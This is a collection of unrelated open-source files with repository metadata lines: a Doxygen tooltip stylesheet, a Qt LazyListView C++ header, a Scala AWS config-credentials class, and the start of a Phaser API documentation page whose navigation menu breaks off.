#powerTip.n:before, #powerTip.s:before,
#powerTip.w:before, #powerTip.e:before,
#powerTip.nw:before, #powerTip.ne:before,
#powerTip.sw:before, #powerTip.se:before {
border-color: rgba(128, 128, 128, 0);
}
#powerTip.n:after, #powerTip.n:before,
#powerTip.ne:after, #powerTip.ne:before,
#powerTip.nw:after, #powerTip.nw:before {
top: 100%;
}
#powerTip.n:after, #powerTip.ne:after, #powerTip.nw:after {
border-top-color: #ffffff;
border-width: 10px;
margin: 0px -10px;
}
#powerTip.n:before {
border-top-color: #808080;
border-width: 11px;
margin: 0px -11px;
}
#powerTip.n:after, #powerTip.n:before {
left: 50%;
}
#powerTip.nw:after, #powerTip.nw:before {
right: 14px;
}
#powerTip.ne:after, #powerTip.ne:before {
left: 14px;
}
#powerTip.s:after, #powerTip.s:before,
#powerTip.se:after, #powerTip.se:before,
#powerTip.sw:after, #powerTip.sw:before {
bottom: 100%;
}
#powerTip.s:after, #powerTip.se:after, #powerTip.sw:after {
border-bottom-color: #ffffff;
border-width: 10px;
margin: 0px -10px;
}
#powerTip.s:before, #powerTip.se:before, #powerTip.sw:before {
border-bottom-color: #808080;
border-width: 11px;
margin: 0px -11px;
}
#powerTip.s:after, #powerTip.s:before {
left: 50%;
}
#powerTip.sw:after, #powerTip.sw:before {
right: 14px;
}
#powerTip.se:after, #powerTip.se:before {
left: 14px;
}
#powerTip.e:after, #powerTip.e:before {
left: 100%;
}
#powerTip.e:after {
border-left-color: #ffffff;
border-width: 10px;
top: 50%;
margin-top: -10px;
}
#powerTip.e:before {
border-left-color: #808080;
border-width: 11px;
top: 50%;
margin-top: -11px;
}
#powerTip.w:after, #powerTip.w:before {
right: 100%;
}
#powerTip.w:after {
border-right-color: #ffffff;
border-width: 10px;
top: 50%;
margin-top: -10px;
}
#powerTip.w:before {
border-right-color: #808080;
border-width: 11px;
top: 50%;
margin-top: -11px;
}
@media print
{
#top { display: none; }
#side-nav { display: none; }
#nav-path { display: none; }
body { overflow:visible; }
h1, h2, h3, h4, h5, h6 { page-break-after: avoid; }
.summary { display: none; }
.memitem { page-break-inside: avoid; }
#doc-content
{
margin-left:0 !important;
height:auto !important;
width:auto !important;
overflow:inherit;
display:inline;
}
}
| kipr/harrogate | shared/client/doc/doxygen.css | CSS | gpl-3.0 | 25,871 |
/*
* LazyListView
* Copyright (C) 2015 Romeo Calota <[email protected]>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef LAZYLISTVIEW_H
#define LAZYLISTVIEW_H
#include <QQuickItem>
#include <QQmlComponent>
#include <QScopedPointer>
#include <QSharedPointer>
class QQuickFlickable;
class ItemPool;
class LazyListView : public QQuickItem
{
Q_OBJECT
Q_PROPERTY(int orientation READ getOrientation WRITE setOrientation NOTIFY orientationChanged)
Q_PROPERTY(QQmlComponent * delegate READ getDelegate WRITE setDelegate NOTIFY delegateChanged)
Q_PROPERTY(QObject * model READ getModel WRITE setModel NOTIFY modelChanged)
public:
LazyListView();
~LazyListView();
public:
int getOrientation() const;
void setOrientation(int orientation);
QQmlComponent * getDelegate() const;
void setDelegate(QQmlComponent *delegate);
QObject *getModel() const;
void setModel(QObject *model);
signals:
void orientationChanged();
void delegateChanged();
void modelChanged();
private:
void createListItems(QQmlComponent *component);
void rearangeListItems();
private:
QScopedPointer<QQuickFlickable> m_flickable;
int m_cacheSize;
QScopedPointer<ItemPool> m_itemPool;
QObject *m_model; // This limits model types... can't be an int for instance
QList<QQuickItem *> m_visibleItems; // Maybe as a LinkedList this would be more efficient?
QQmlComponent *m_delegate;
};
#endif // LAZYLISTVIEW_H
| kicsyromy/LazyListView | lazylistview.h | C | gpl-3.0 | 2,083 |
/**
* *****************************************************************************
* Copyright 2013 Kevin Hester
*
* See LICENSE.txt for license details.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* ****************************************************************************
*/
package com.geeksville.aws
import com.amazonaws.auth.AWSCredentials
import com.typesafe.config.ConfigFactory
import grizzled.slf4j.Logging
/**
* Provides AWS credentials from a Typesafe style config db
*
* @param baseKey - we look for AWS keys underneed this root entry
*/
class ConfigCredentials(baseKey: String) extends AWSCredentials with Logging {
private lazy val conf = ConfigFactory.load()
private def prefix = if (baseKey.isEmpty) baseKey else baseKey + "."
def getAWSAccessKeyId() = {
val r = conf.getString(prefix + "aws.accessKey")
//debug(s"Using AWS access key $r")
r
}
def getAWSSecretKey() = {
val r = conf.getString(prefix + "aws.secretKey")
//debug(s"Using AWS secret key $r")
r
}
}
| dronekit/dronekit-server | src/main/scala/com/geeksville/aws/ConfigCredentials.scala | Scala | gpl-3.0 | 1,310 |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Phaser Source: src/gameobjects/Image.js</title>
<!--[if lt IE 9]>
<script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<link type="text/css" rel="stylesheet" href="styles/default.css">
<link type="text/css" rel="stylesheet" href="styles/sunlight.default.css">
<link type="text/css" rel="stylesheet" href="styles/site.cerulean.css">
</head>
<body>
<div class="container-fluid">
<div class="navbar navbar-fixed-top navbar-inverse">
<div style="position: absolute; width: 143px; height: 31px; right: 10px; top: 10px; z-index: 1050"><a href="http://phaser.io"><img src="img/phaser.png" border="0" /></a></div>
<div class="navbar-inner">
<a class="brand" href="index.html">Phaser API</a>
<ul class="nav">
<li class="dropdown">
<a href="namespaces.list.html" class="dropdown-toggle" data-toggle="dropdown">Namespaces<b
class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-0">
<a href="Phaser.html">Phaser</a>
</li>
<li class="class-depth-0">
<a href="Phaser.KeyCode.html">KeyCode</a>
</li>
<li class="class-depth-0">
<a href="PIXI.html">PIXI</a>
</li>
</ul>
</li>
<li class="dropdown">
<a href="classes.list.html" class="dropdown-toggle" data-toggle="dropdown">Classes<b
class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-1">
<a href="Phaser.Animation.html">Animation</a>
</li>
<li class="class-depth-1">
<a href="Phaser.AnimationManager.html">AnimationManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.AnimationParser.html">AnimationParser</a>
</li>
<li class="class-depth-1">
<a href="Phaser.ArraySet.html">ArraySet</a>
</li>
<li class="class-depth-1">
<a href="Phaser.ArrayUtils.html">ArrayUtils</a>
</li>
<li class="class-depth-1">
<a href="Phaser.AudioSprite.html">AudioSprite</a>
</li>
<li class="class-depth-1">
<a href="Phaser.BitmapData.html">BitmapData</a>
</li>
<li class="class-depth-1">
<a href="Phaser.BitmapText.html">BitmapText</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Bullet.html">Bullet</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Button.html">Button</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Cache.html">Cache</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Camera.html">Camera</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Canvas.html">Canvas</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Circle.html">Circle</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Color.html">Color</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Angle.html">Angle</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Animation.html">Animation</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.AutoCull.html">AutoCull</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Bounds.html">Bounds</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.BringToTop.html">BringToTop</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Core.html">Core</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Crop.html">Crop</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Delta.html">Delta</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Destroy.html">Destroy</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.FixedToCamera.html">FixedToCamera</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Health.html">Health</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.InCamera.html">InCamera</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.InputEnabled.html">InputEnabled</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.InWorld.html">InWorld</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.LifeSpan.html">LifeSpan</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.LoadTexture.html">LoadTexture</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Overlap.html">Overlap</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.PhysicsBody.html">PhysicsBody</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Reset.html">Reset</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.ScaleMinMax.html">ScaleMinMax</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Component.Smoothed.html">Smoothed</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Create.html">Create</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Creature.html">Creature</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Device.html">Device</a>
</li>
<li class="class-depth-1">
<a href="Phaser.DeviceButton.html">DeviceButton</a>
</li>
<li class="class-depth-1">
<a href="Phaser.DOM.html">DOM</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Easing.html">Easing</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Back.html">Back</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Bounce.html">Bounce</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Circular.html">Circular</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Cubic.html">Cubic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Elastic.html">Elastic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Exponential.html">Exponential</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Linear.html">Linear</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Quadratic.html">Quadratic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Quartic.html">Quartic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Quintic.html">Quintic</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Easing.Sinusoidal.html">Sinusoidal</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Ellipse.html">Ellipse</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Events.html">Events</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Filter.html">Filter</a>
</li>
<li class="class-depth-1">
<a href="Phaser.FlexGrid.html">FlexGrid</a>
</li>
<li class="class-depth-1">
<a href="Phaser.FlexLayer.html">FlexLayer</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Frame.html">Frame</a>
</li>
<li class="class-depth-1">
<a href="Phaser.FrameData.html">FrameData</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Game.html">Game</a>
</li>
<li class="class-depth-1">
<a href="Phaser.GameObjectCreator.html">GameObjectCreator</a>
</li>
<li class="class-depth-1">
<a href="Phaser.GameObjectFactory.html">GameObjectFactory</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Gamepad.html">Gamepad</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Graphics.html">Graphics</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Group.html">Group</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Image.html">Image</a>
</li>
<li class="class-depth-1">
<a href="Phaser.ImageCollection.html">ImageCollection</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Input.html">Input</a>
</li>
<li class="class-depth-1">
<a href="Phaser.InputHandler.html">InputHandler</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Key.html">Key</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Keyboard.html">Keyboard</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Line.html">Line</a>
</li>
<li class="class-depth-1">
<a href="Phaser.LinkedList.html">LinkedList</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Loader.html">Loader</a>
</li>
<li class="class-depth-1">
<a href="Phaser.LoaderParser.html">LoaderParser</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Math.html">Math</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Matrix.html">Matrix</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Mouse.html">Mouse</a>
</li>
<li class="class-depth-1">
<a href="Phaser.MSPointer.html">MSPointer</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Net.html">Net</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Particle.html">Particle</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Particles.html">Particles</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Particles.Arcade.html">Arcade</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Particles.Arcade.Emitter.html">Emitter</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Physics.html">Physics</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Physics.Arcade.html">Arcade</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Arcade.Body.html">Body</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Arcade.TilemapCollision.html">TilemapCollision</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Physics.Ninja.html">Ninja</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Ninja.AABB.html">AABB</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Ninja.Body.html">Body</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Ninja.Circle.html">Circle</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.Ninja.Tile.html">Tile</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Physics.P2.html">P2</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.Body.html">Body</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.BodyDebug.html">BodyDebug</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.CollisionGroup.html">CollisionGroup</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.ContactMaterial.html">ContactMaterial</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.DistanceConstraint.html">DistanceConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.FixtureList.html">FixtureList</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.GearConstraint.html">GearConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.InversePointProxy.html">InversePointProxy</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.LockConstraint.html">LockConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.Material.html">Material</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.PointProxy.html">PointProxy</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.PrismaticConstraint.html">PrismaticConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.RevoluteConstraint.html">RevoluteConstraint</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.RotationalSpring.html">RotationalSpring</a>
</li>
<li class="class-depth-3">
<a href="Phaser.Physics.P2.Spring.html">Spring</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Plugin.html">Plugin</a>
</li>
<li class="class-depth-1">
<a href="Phaser.PluginManager.html">PluginManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Point.html">Point</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Pointer.html">Pointer</a>
</li>
<li class="class-depth-1">
<a href="Phaser.PointerMode.html">PointerMode</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Polygon.html">Polygon</a>
</li>
<li class="class-depth-1">
<a href="Phaser.QuadTree.html">QuadTree</a>
</li>
<li class="class-depth-1">
<a href="Phaser.RandomDataGenerator.html">RandomDataGenerator</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Rectangle.html">Rectangle</a>
</li>
<li class="class-depth-1">
<a href="Phaser.RenderTexture.html">RenderTexture</a>
</li>
<li class="class-depth-1">
<a href="Phaser.RequestAnimationFrame.html">RequestAnimationFrame</a>
</li>
<li class="class-depth-1">
<a href="Phaser.RetroFont.html">RetroFont</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Rope.html">Rope</a>
</li>
<li class="class-depth-1">
<a href="Phaser.RoundedRectangle.html">RoundedRectangle</a>
</li>
<li class="class-depth-1">
<a href="Phaser.ScaleManager.html">ScaleManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Signal.html">Signal</a>
</li>
<li class="class-depth-1">
<a href="Phaser.SignalBinding.html">SignalBinding</a>
</li>
<li class="class-depth-1">
<a href="Phaser.SinglePad.html">SinglePad</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Sound.html">Sound</a>
</li>
<li class="class-depth-1">
<a href="Phaser.SoundManager.html">SoundManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Sprite.html">Sprite</a>
</li>
<li class="class-depth-1">
<a href="Phaser.SpriteBatch.html">SpriteBatch</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Stage.html">Stage</a>
</li>
<li class="class-depth-1">
<a href="Phaser.State.html">State</a>
</li>
<li class="class-depth-1">
<a href="Phaser.StateManager.html">StateManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Text.html">Text</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Tile.html">Tile</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Tilemap.html">Tilemap</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TilemapLayer.html">TilemapLayer</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TilemapParser.html">TilemapParser</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Tileset.html">Tileset</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TileSprite.html">TileSprite</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Time.html">Time</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Timer.html">Timer</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TimerEvent.html">TimerEvent</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Touch.html">Touch</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Tween.html">Tween</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TweenData.html">TweenData</a>
</li>
<li class="class-depth-1">
<a href="Phaser.TweenManager.html">TweenManager</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Utils.html">Utils</a>
</li>
<li class="class-depth-2">
<a href="Phaser.Utils.Debug.html">Debug</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Video.html">Video</a>
</li>
<li class="class-depth-1">
<a href="Phaser.Weapon.html">Weapon</a>
</li>
<li class="class-depth-1">
<a href="Phaser.World.html">World</a>
</li>
<li class="class-depth-1">
<a href="PIXI.AbstractFilter.html">AbstractFilter</a>
</li>
<li class="class-depth-1">
<a href="PIXI.BaseTexture.html">BaseTexture</a>
</li>
<li class="class-depth-1">
<a href="PIXI.CanvasBuffer.html">CanvasBuffer</a>
</li>
<li class="class-depth-1">
<a href="PIXI.CanvasGraphics.html">CanvasGraphics</a>
</li>
<li class="class-depth-1">
<a href="PIXI.CanvasMaskManager.html">CanvasMaskManager</a>
</li>
<li class="class-depth-1">
<a href="PIXI.CanvasPool.html">CanvasPool</a>
</li>
<li class="class-depth-1">
<a href="PIXI.CanvasRenderer.html">CanvasRenderer</a>
</li>
<li class="class-depth-1">
<a href="PIXI.CanvasTinter.html">CanvasTinter</a>
</li>
<li class="class-depth-1">
<a href="PIXI.ComplexPrimitiveShader.html">ComplexPrimitiveShader</a>
</li>
<li class="class-depth-1">
<a href="PIXI.DisplayObjectContainer.html">DisplayObjectContainer</a>
</li>
<li class="class-depth-1">
<a href="PIXI.EarCut.html">EarCut</a>
</li>
<li class="class-depth-1">
<a href="PIXI.Event.html">Event</a>
</li>
<li class="class-depth-1">
<a href="PIXI.EventTarget.html">EventTarget</a>
</li>
<li class="class-depth-1">
<a href="PIXI.FilterTexture.html">FilterTexture</a>
</li>
<li class="class-depth-1">
<a href="PIXI.Graphics.html">Graphics</a>
</li>
<li class="class-depth-1">
<a href="PIXI.GraphicsData.html">GraphicsData</a>
</li>
<li class="class-depth-1">
<a href="PIXI.PIXI.html">PIXI</a>
</li>
<li class="class-depth-2">
<a href="PIXI.PIXI.DisplayObject.html">DisplayObject</a>
</li>
<li class="class-depth-1">
<a href="PIXI.PixiFastShader.html">PixiFastShader</a>
</li>
<li class="class-depth-1">
<a href="PIXI.PixiShader.html">PixiShader</a>
</li>
<li class="class-depth-1">
<a href="PIXI.PolyK.html">PolyK</a>
</li>
<li class="class-depth-1">
<a href="PIXI.PrimitiveShader.html">PrimitiveShader</a>
</li>
<li class="class-depth-1">
<a href="PIXI.RenderTexture.html">RenderTexture</a>
</li>
<li class="class-depth-1">
<a href="PIXI.Rope.html">Rope</a>
</li>
<li class="class-depth-1">
<a href="PIXI.Sprite.html">Sprite</a>
</li>
<li class="class-depth-1">
<a href="PIXI.SpriteBatch.html">SpriteBatch</a>
</li>
<li class="class-depth-1">
<a href="PIXI.Strip.html">Strip</a>
</li>
<li class="class-depth-1">
<a href="PIXI.StripShader.html">StripShader</a>
</li>
<li class="class-depth-1">
<a href="PIXI.Texture.html">Texture</a>
</li>
<li class="class-depth-1">
<a href="PIXI.TilingSprite.html">TilingSprite</a>
</li>
<li class="class-depth-1">
<a href="PIXI.WebGLBlendModeManager.html">WebGLBlendModeManager</a>
</li>
<li class="class-depth-1">
<a href="PIXI.WebGLFastSpriteBatch.html">WebGLFastSpriteBatch</a>
</li>
<li class="class-depth-1">
<a href="PIXI.WebGLFilterManager.html">WebGLFilterManager</a>
</li>
<li class="class-depth-1">
<a href="PIXI.WebGLRenderer.html">WebGLRenderer</a>
</li>
</ul>
</li>
<li class="dropdown">
<a href="global.html" class="dropdown-toggle" data-toggle="dropdown">Global<b
class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-0">
<a href="global.html#ANGLE_DOWN">ANGLE_DOWN</a>
</li>
<li class="class-depth-0">
<a href="global.html#ANGLE_LEFT">ANGLE_LEFT</a>
</li>
<li class="class-depth-0">
<a href="global.html#ANGLE_NORTH_EAST">ANGLE_NORTH_EAST</a>
</li>
<li class="class-depth-0">
<a href="global.html#ANGLE_NORTH_WEST">ANGLE_NORTH_WEST</a>
</li>
<li class="class-depth-0">
<a href="global.html#ANGLE_RIGHT">ANGLE_RIGHT</a>
</li>
<li class="class-depth-0">
<a href="global.html#ANGLE_SOUTH_EAST">ANGLE_SOUTH_EAST</a>
</li>
<li class="class-depth-0">
<a href="global.html#ANGLE_SOUTH_WEST">ANGLE_SOUTH_WEST</a>
</li>
<li class="class-depth-0">
<a href="global.html#ANGLE_UP">ANGLE_UP</a>
</li>
<li class="class-depth-0">
<a href="global.html#AUTO">AUTO</a>
</li>
<li class="class-depth-0">
<a href="global.html#BITMAPDATA">BITMAPDATA</a>
</li>
<li class="class-depth-0">
<a href="global.html#BITMAPTEXT">BITMAPTEXT</a>
</li>
<li class="class-depth-0">
<a href="global.html#blendModes">blendModes</a>
</li>
<li class="class-depth-0">
<a href="global.html#BOTTOM_CENTER">BOTTOM_CENTER</a>
</li>
<li class="class-depth-0">
<a href="global.html#BOTTOM_LEFT">BOTTOM_LEFT</a>
</li>
<li class="class-depth-0">
<a href="global.html#BOTTOM_RIGHT">BOTTOM_RIGHT</a>
</li>
<li class="class-depth-0">
<a href="global.html#BUTTON">BUTTON</a>
</li>
<li class="class-depth-0">
<a href="global.html#CANVAS">CANVAS</a>
</li>
<li class="class-depth-0">
<a href="global.html#CANVAS_FILTER">CANVAS_FILTER</a>
</li>
<li class="class-depth-0">
<a href="global.html#CENTER">CENTER</a>
</li>
<li class="class-depth-0">
<a href="global.html#CIRCLE">CIRCLE</a>
</li>
<li class="class-depth-0">
<a href="global.html#CREATURE">CREATURE</a>
</li>
<li class="class-depth-0">
<a href="global.html#displayList">displayList</a>
</li>
<li class="class-depth-0">
<a href="global.html#DOWN">DOWN</a>
</li>
<li class="class-depth-0">
<a href="global.html#ELLIPSE">ELLIPSE</a>
</li>
<li class="class-depth-0">
<a href="global.html#EMITTER">EMITTER</a>
</li>
<li class="class-depth-0">
<a href="global.html#GAMES">GAMES</a>
</li>
<li class="class-depth-0">
<a href="global.html#GRAPHICS">GRAPHICS</a>
</li>
<li class="class-depth-0">
<a href="global.html#GROUP">GROUP</a>
</li>
<li class="class-depth-0">
<a href="global.html#HEADLESS">HEADLESS</a>
</li>
<li class="class-depth-0">
<a href="global.html#HORIZONTAL">HORIZONTAL</a>
</li>
<li class="class-depth-0">
<a href="global.html#IMAGE">IMAGE</a>
</li>
<li class="class-depth-0">
<a href="global.html#intersectsRectangle">intersectsRectangle</a>
</li>
<li class="class-depth-0">
<a href="global.html#LANDSCAPE">LANDSCAPE</a>
</li>
<li class="class-depth-0">
<a href="global.html#LEFT">LEFT</a>
</li>
<li class="class-depth-0">
<a href="global.html#LEFT_BOTTOM">LEFT_BOTTOM</a>
</li>
<li class="class-depth-0">
<a href="global.html#LEFT_CENTER">LEFT_CENTER</a>
</li>
<li class="class-depth-0">
<a href="global.html#LEFT_TOP">LEFT_TOP</a>
</li>
<li class="class-depth-0">
<a href="global.html#LINE">LINE</a>
</li>
<li class="class-depth-0">
<a href="global.html#MATRIX">MATRIX</a>
</li>
<li class="class-depth-0">
<a href="global.html#NONE">NONE</a>
</li>
<li class="class-depth-0">
<a href="global.html#PENDING_ATLAS">PENDING_ATLAS</a>
</li>
<li class="class-depth-0">
<a href="global.html#POINT">POINT</a>
</li>
<li class="class-depth-0">
<a href="global.html#POINTER">POINTER</a>
</li>
<li class="class-depth-0">
<a href="global.html#POLYGON">POLYGON</a>
</li>
<li class="class-depth-0">
<a href="global.html#PORTRAIT">PORTRAIT</a>
</li>
<li class="class-depth-0">
<a href="global.html#RECTANGLE">RECTANGLE</a>
</li>
<li class="class-depth-0">
<a href="global.html#RENDERTEXTURE">RENDERTEXTURE</a>
</li>
<li class="class-depth-0">
<a href="global.html#RETROFONT">RETROFONT</a>
</li>
<li class="class-depth-0">
<a href="global.html#RIGHT">RIGHT</a>
</li>
<li class="class-depth-0">
<a href="global.html#RIGHT_BOTTOM">RIGHT_BOTTOM</a>
</li>
<li class="class-depth-0">
<a href="global.html#RIGHT_CENTER">RIGHT_CENTER</a>
</li>
<li class="class-depth-0">
<a href="global.html#RIGHT_TOP">RIGHT_TOP</a>
</li>
<li class="class-depth-0">
<a href="global.html#ROPE">ROPE</a>
</li>
<li class="class-depth-0">
<a href="global.html#ROUNDEDRECTANGLE">ROUNDEDRECTANGLE</a>
</li>
<li class="class-depth-0">
<a href="global.html#scaleModes">scaleModes</a>
</li>
<li class="class-depth-0">
<a href="global.html#SPRITE">SPRITE</a>
</li>
<li class="class-depth-0">
<a href="global.html#SPRITEBATCH">SPRITEBATCH</a>
</li>
<li class="class-depth-0">
<a href="global.html#TEXT">TEXT</a>
</li>
<li class="class-depth-0">
<a href="global.html#TILEMAP">TILEMAP</a>
</li>
<li class="class-depth-0">
<a href="global.html#TILEMAPLAYER">TILEMAPLAYER</a>
</li>
<li class="class-depth-0">
<a href="global.html#TILESPRITE">TILESPRITE</a>
</li>
<li class="class-depth-0">
<a href="global.html#TOP_CENTER">TOP_CENTER</a>
</li>
<li class="class-depth-0">
<a href="global.html#TOP_LEFT">TOP_LEFT</a>
</li>
<li class="class-depth-0">
<a href="global.html#TOP_RIGHT">TOP_RIGHT</a>
</li>
<li class="class-depth-0">
<a href="global.html#UP">UP</a>
</li>
<li class="class-depth-0">
<a href="global.html#VERSION">VERSION</a>
</li>
<li class="class-depth-0">
<a href="global.html#VERTICAL">VERTICAL</a>
</li>
<li class="class-depth-0">
<a href="global.html#VIDEO">VIDEO</a>
</li>
<li class="class-depth-0">
<a href="global.html#WEBGL">WEBGL</a>
</li>
<li class="class-depth-0">
<a href="global.html#WEBGL_FILTER">WEBGL_FILTER</a>
</li>
</ul>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Core<b class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-1"><a href="Phaser.Game.html">Game</a></li>
<li class="class-depth-1"><a href="Phaser.Group.html">Group</a></li>
<li class="class-depth-1"><a href="Phaser.World.html">World</a></li>
<li class="class-depth-1"><a href="Phaser.Loader.html">Loader</a></li>
<li class="class-depth-1"><a href="Phaser.Cache.html">Cache</a></li>
<li class="class-depth-1"><a href="Phaser.Time.html">Time</a></li>
<li class="class-depth-1"><a href="Phaser.Camera.html">Camera</a></li>
<li class="class-depth-1"><a href="Phaser.StateManager.html">State Manager</a></li>
<li class="class-depth-1"><a href="Phaser.TweenManager.html">Tween Manager</a></li>
<li class="class-depth-1"><a href="Phaser.SoundManager.html">Sound Manager</a></li>
<li class="class-depth-1"><a href="Phaser.Input.html">Input Manager</a></li>
<li class="class-depth-1"><a href="Phaser.ScaleManager.html">Scale Manager</a></li>
</ul>
</li>
<li class="dropdown">
